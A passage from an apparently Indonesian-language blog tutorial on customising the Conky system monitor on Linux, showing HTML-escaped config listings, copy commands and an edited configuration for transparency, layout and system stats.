&lt;/span&gt;&lt;span&gt;&lt;span&gt;$machine&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$hr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Uptime:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$uptime&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Frequency (in MHz):&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$freq&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Frequency (in GHz):&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$freq_g&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;RAM Usage:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$mem&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;$memmax&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;$memperc&lt;/span&gt;&lt;span&gt;% &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;membar&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Swap Usage:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$swap&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;$swapmax&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;$swapperc&lt;/span&gt;&lt;span&gt;% &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;swapbar&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;CPU Usage:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$cpu&lt;/span&gt;&lt;span&gt;% &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;cpubar&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Processes:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$processes&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Running:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$running_processes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$hr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;File systems:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;fs_used&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;fs_size&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;fs_bar&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Networking:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Up:$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;upspeed&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Down:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;downspeed&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$hr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Name              PID     CPU%   MEM%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;lightgrey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pid&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cpu&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mem&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;lightgrey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pid&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cpu&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mem&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;lightgrey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pid&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cpu&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mem&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;lightgrey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pid&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cpu&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mem&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Pada tutorial ini, saya hanya akan menunjukkan beberapa modifikasi sederhana, yaitu&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Membuat background Conky menjadi transparan.&lt;/li&gt;
&lt;li&gt;Menampilkan info username@hostname.&lt;/li&gt;
&lt;li&gt;Menampilkan info RAM, CPU, dan Disk&lt;/li&gt;
&lt;li&gt;Menampilkan Tanggal &amp;amp; Jam&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Namun, sebelum memulainya, ada baiknya kita meng-&lt;em&gt;copy&lt;/em&gt; file konfigurasi tersebut ke direktori user agar tidak mengubah isi file defaultnya sehingga jika nanti kita memerlukan file backup, kita bisa mengambilnya lagi dari &lt;code&gt;/etc../images/conky/conky.conf&lt;/code&gt;. So, markicop (mari kita &lt;em&gt;copy&lt;/em&gt;, wkwkwk)…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc../images/conky/conky.conf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, saya akan edit hingga hanya tersisa beberapa baris kode saja. Berikut adalah isi file konfigurasinya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;conky.config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;alignment&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;top_left&apos;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mengatur posisi Conky di layar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;gap_x&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;60,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;gap_y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;60,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;minimum_height&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mengatur ukuran window Conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;minimum_width&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;font&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;DejaVu Sans Mono:size=16&apos;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mengatur font&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;own_window&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mengatur transparansi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;own_window_argb_visual&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;own_window_argb_value&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;100,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;own_window_type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;desktop&apos;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mengatur tipe window&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;update_interval&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.0,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mengatur update conky perdetik&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;use_xft&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;conky.text&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [[&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;alignc&lt;/span&gt;&lt;span&gt;}${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;white&lt;/span&gt;&lt;span&gt;}${&lt;/span&gt;&lt;span&gt;exec&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;nodename&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
